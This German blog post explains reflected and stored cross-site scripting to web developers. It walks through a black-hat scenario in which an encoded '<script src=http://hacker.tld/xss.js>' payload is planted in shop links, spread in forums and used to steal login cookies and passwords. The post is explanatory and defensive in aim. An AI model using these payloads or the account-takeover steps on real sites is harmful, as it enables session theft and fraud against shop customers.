<einschub>
Gestern schrieb ich noch:

Auf xss-wp.18c.de habe ich ein WordPress installiert, in dem einige XSS-Demos gezeigt werden. Da WordPress von Haus aus keine, mir bekannte, XSS-Lücke besitzt habe ich im Theme mit etwas unsicherem Code nachgeholfen.

Da ich weiß das immer irgendwo ein Bug stecken könnte, habe ich “mir bekannte” eingeschoben. Und wie zur Unterstreichung meiner Annahme gab es auch gestern gleich ein Update von WordPress, auf Version 2.6.5 (wordpress-deutschland.org), weil in der 2.6.3 zwei XSS-Lücken stecken. Die Version 2.6.4 wird übersprungen, da es eine Fake-Version mit dieser Versionsnummer gab. “Fake WordPress site distributing backdoored release” (zdnet.com)
</einschub>

---

Aber nun zu den Verbreitungsmöglichkeiten für XSS-Links.

Die Art von Cross-Site Scripting bei der man in die URL etwas einfügt

http://domain.tld/pid=4715&title="><h1>XSS</h1>

was dann irgendwo auf der WebSite wieder ausgegeben wird, nennt man nicht-persistent oder reflektives Cross-Site Scripting. Reflektiv – trifft es sehr gut, da der Browser per URL etwas sendet (u.a. auch den XSS-Code) und dieses dann selber wieder anzeigt.

Dies hört sich im ersten Moment nicht so schlimm an – der Browser sendet etwas was er dann selber wieder anzeigt. Naja… da JavaScript im Browser fast alles darf, außer Dateien zu schreiben, ist damit eben u.a. auch die Aufzeichnung von Tastatureingaben möglich, wie ich gestern schon erwähnte.


XSS mal betrachtet aus der Sicht eines BlackHat-Hackers.

• In dem Shop-XYZ habe ich eine XSS-Lücke gefunden, über die ich per
  <script src=http://hacker.tld/xss.js></script>
  mein eigenes JavaScript nachladen kann.
• Die Bekanntheit des Shops ist sehr groß, da es ein Shop ist der schon seit Jahrzehnten im Versandhandel tätig ist und nun von den dicken, gedruckten Katalogen auf das Internet umsteigt.
• Nun suche ich mir ein Produkt im Shop heraus welches beliebt ist. Mit der URL zum Produkt verknüpfe ich mein JavaScript, ich injiziere in die korrekte URL meinen Nachlade-Code.
• Als Hacker benutze ich allerdings die codierte Form meiner Linkmanipulation:
  aus <script src=http://hacker.tld/xss.js></script>
  wird %3C%73%63%72%69%70%74%20%73%…
  Otto-Normal-User kann nicht erkennen was das ist, aber da er es schon von anderen WebSites gewohnt ist lange unverständliche URLs im Browser angezeigt zu bekommen, schöpft er keinen Verdacht.
  Auch hilft mir diese Codierung das verschiedene Browser diese URL ohne Fehlermeldung fressen.
• In Foren und Web 2.0-Communities wird gerne nach Produktempfehlungen gefragt. Ich antworte dem Suchenden und da ich ja nett bin, gleich mit meinem Link zum Produkt.
• Da nicht nur der eine, der gefragt hat, auf den Link klickt sondern alle die sich für das Produkt interessieren, habe ich schon nach kurzer Zeit relativ viele Shop-Besucher die mein JavaScript benutzen…
• Was mein JavaScript dann im Browser der Shop-Besucher alles anstellt… vom Ausspähen von Passworten und Cookies bis zum Nachladen von Viren, Würmern und Trojanern… bleibt mir, bzw. meinem Auftraggeber, überlassen.
• Wenn der Shop Cookies schreibt, um den Shop-Besucher beim nächsten Einkauf widerzuerkennen und um ihm auch die Anmeldeprozedur, mit Benutzername und Passwort, abzunehmen… – tja, da besteht eine hohe Wahrscheinlichkeit das ich mir von meinem JavaScript die Daten der Anmelde-Cookies senden lasse.
• Wenn in dem Shop dann auch noch die Passworte im Klartext gespeichert werden, dann kann ich nach dem Login mal kurz die E-Mail-Adresse ändern und mir per Passwort-Erinnerungs-Funktion das Passwort zusenden lassen, sofern es nicht schon irgendwo im myShop-Profil angezeigt wird.
• Wenn mein Opfer zu den vielen Passwort-Recyclern gehört und ein Passwort für mehrere verschiedene WebSites (eBay, Paypal, Web.de, GMX, etc.) benutzt, so kann ich damit natürlich noch etwas mehr Unfug anstellen… Vielleicht arbeitet er ja für eine Firma, wo ich mich dann mit dem Passwort in deren Intranet einloggen kann?! Mal schauen was die Forschungsabteilung so treibt…

Zur Ergänzung:

Persistentes (persistent) oder beständiges (stored) Cross-Site Scripting unterscheidet sich vom reflektiven XSS prinzipiell nur dadurch, dass der Schadcode auf dem Webserver gespeichert wird, wodurch er bei jeder Anfrage ausgeliefert wird. Dies ist bei jeder Webanwendung möglich, die Benutzereingaben serverseitig speichert und diese später wieder ausliefert, solange keine Prüfung der Benutzereingaben bzw. eine geeignete Kodierung der Ausgabe stattfindet.

Quelle: de.wikipedia.org


Es gibt natürlich viele Variationen von dem was ein BlackHat-Hacker mit XSS-Lücken anstellen kann:

• Die Anzeige von Börsenkursen auf einer WebSite gezielt manipulieren, in der Hoffnung das diese Manipulation zu der gewünschten echten Kursbewegung führt.
• Nachrichten auf einer Zeitung-/Magazin-Seite manipulieren um Ängste, Panik oder Kaufbereitschaft für ein Produkt zu erzeugen.
• Werbebanner zu Produkten einfügen. Es wird die Reputation einer WebSite genutzt um dubiose Produkte zu verkaufen oder um einen Imageverlusten der WebSite herbeizuführen.
• Persistentes XSS kann zur Steigerung von PageImpressions missbraucht werden, um die eigenen Besucherzahlen zu schönen und um dem Werbekunden, auf Grund der hohen Besucherzahlen, einen höheren Preis zu berechnen.

Also liebe Entwickler, mal etwas über den Tellerrand hinaus denken. Die kriminelle Energie und der Einfallsreichtum der BlackHat-Hacker ist unerschöpflich.


Noch kurz etwas zu White-, Black- und GrayHat-Hackern:

• White-Hats (“Weiß-Hüte”)
  Verwenden ihr Wissen innerhalb sowohl der Gesetze als auch der Hackerethik, beispielsweise indem sie professionelle Penetrationstests ausführen.
• Black-Hats (“Schwarz-Hüte”)
  Handeln mit krimineller Energie und beabsichtigen beispielsweise, das Zielsystem zu beschädigen oder Daten zu stehlen.
• Grey-Hats (“Grau-Hüte”)
  Verstoßen möglicherweise gegen Gesetze oder restriktive Auslegungen der Hackerethik, allerdings zum Erreichen eines höheren Ziels. Beispielsweise durch die Veröffentlichung von Sicherheitslücken, um ein Leugnen unmöglich zu machen und die Verantwortlichen dazu zu zwingen, diese zu beheben. Grey-Hats zeichnen sich dadurch aus, dass sie nicht eindeutig als “gut” oder “böse” einzustufen sind.

Quelle: de.wikipedia.org